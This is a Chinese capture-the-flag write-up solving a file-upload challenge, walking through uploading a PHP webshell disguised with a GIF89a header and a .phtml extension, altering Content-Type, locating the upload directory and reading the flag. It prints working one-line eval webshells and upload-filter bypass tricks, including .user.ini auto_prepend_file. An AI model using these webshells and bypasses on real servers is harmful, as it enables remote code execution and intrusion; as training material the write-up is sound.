BUUCTF: [极客大挑战 2019]Upload

BUUCTF: 极客大挑战 2019Upload

本文知识点:

文件上传漏洞的基本思路就是上传一个可以被解析的对应引擎(如php引擎)解析的文件,然后访问这个文件,由于这个文件是我们上传的,因此我们能够控制他的行为,达到我们的目的。比如最简单的一句话木马<?=eval($_POST['cmd'])?>。

  1. 当php文件的后缀被过滤的时候,还可以尝试的选择有**php1、php2、php3、phtml、ashx,本题使用到了phtml,简单来说这个就是一个包含php脚本的html文件**!

  2. 回顾文件上传漏洞(攻防世界 easyupload)

  • 伪造JEPG 文件的文件头部GIF89a! 绕过文件头部的检查

  • 这个题目不能上传php,但是他保存文件的路径下本身就存在php文件。因此可以考虑使用.user.ini文件将我们上传的文件包含到他自身的php文件中,具体的配置是auto_prepend_file=xxx.jpg

题目描述

本题就只有一个文件上传的界面,如下:

初步尝试

尝试上传木马文件

沿着做攻防世界 easyupload的方式,我先尝试将包含jepg文件头部的一句话木马文件上传, 其文件的内容如下:

bash 复制代码
GIF89a
<?=eval($_GET['test'])?>

发现上传的文件不仅文件的头部被检查了,文件的内容也被检查了,不能包含<?,其返回的结果如下:

这里后续经过多次测试,我们可以上传phtml的文件进行文件上传的绕过

文件的内容如下:

phtml 复制代码
GIF89a
<script language="php">eval($_POST['a']);</script>

这里需要修改下传递过去的文件的content-type的值,不然后端的检查无法绕过,具体如下:


尝试寻找文件的路径

上传一张正常的文件,看看文件的路径是否能反馈回来,发现其没有返回具体路径,结果如下:

我手动尝试了几个路径,前两个路径都不能访问对应的图片,最后一个能够访问到我们上传的文件,也就是文件的保存路径应该是upload/xxx。后续我们能够通过访问这个路径执行我们的代码。

bash 复制代码
http://37e01617-0c42-4e09-a905-84df951fd53f.node5.buuoj.cn:81/upload_file/Snipaste.jpg
http://37e01617-0c42-4e09-a905-84df951fd53f.node5.buuoj.cn:81/Snipaste.jpg
http://37e01617-0c42-4e09-a905-84df951fd53f.node5.buuoj.cn:81/upload/Snipaste.jpg

访问病毒文件,并传递我们需要的参数!!!

如下图,我们传递的文件的参数,但是并没有返回任何数据!

这里就是自己粗心导致的,由于我们传递过去的是php代码,放入eval函数中进行执行的,因此一定要记得分号;!!!再次尝试,结果如下:

发现如下的文件很可疑:

查看下文件的内容,得到flag,结果如下所示:

相关推荐
WeiXin_DZbishe10 小时前
基于springboot宠物领养系统-计算机毕设 附源码【课程设计】94217
vue.js·spring boot·python·django·php·课程设计
架构技术专栏10 小时前
Agent 工具调用:从工具声明到执行反馈
前端·人工智能·后端
别动我齐刘海11 小时前
C++ 工程化学习
java·linux·前端·c++·学习·机器学习·机器人
志尊宝12 小时前
Vue3 零基础每日笔记(071):暗黑模式与主题切换——CSS 变量 + Element Plus 暗黑方案
前端·css·笔记·vue·html·前端开发·软件开发
WeiXin_DZbishe12 小时前
基于springboot城市公交实时运营与调度系统-计算机毕设 附源码【课程设计】66173
java·vue.js·spring boot·后端·python·php·课程设计
刘发财12 小时前
前端如何生成10000页PDF文件?
前端·javascript·开源
WeiXin_DZbishe12 小时前
基于Springboot+AI的kuall音乐广场的设计与实现-计算机毕设 附源码【课程设计】12715
vue.js·人工智能·spring boot·后端·python·php·课程设计
A接拉起00713 小时前
2026 年 JavaScript 开发者需要了解的知识
前端·javascript·后端
用户114818678948413 小时前
面试官:大屏项目里十几个模块同时渲染上万条数据,怎么做到不卡?
前端·性能优化
前端市界13 小时前
Pro React Admin: 统一工程底座,承载多种应用...
前端·github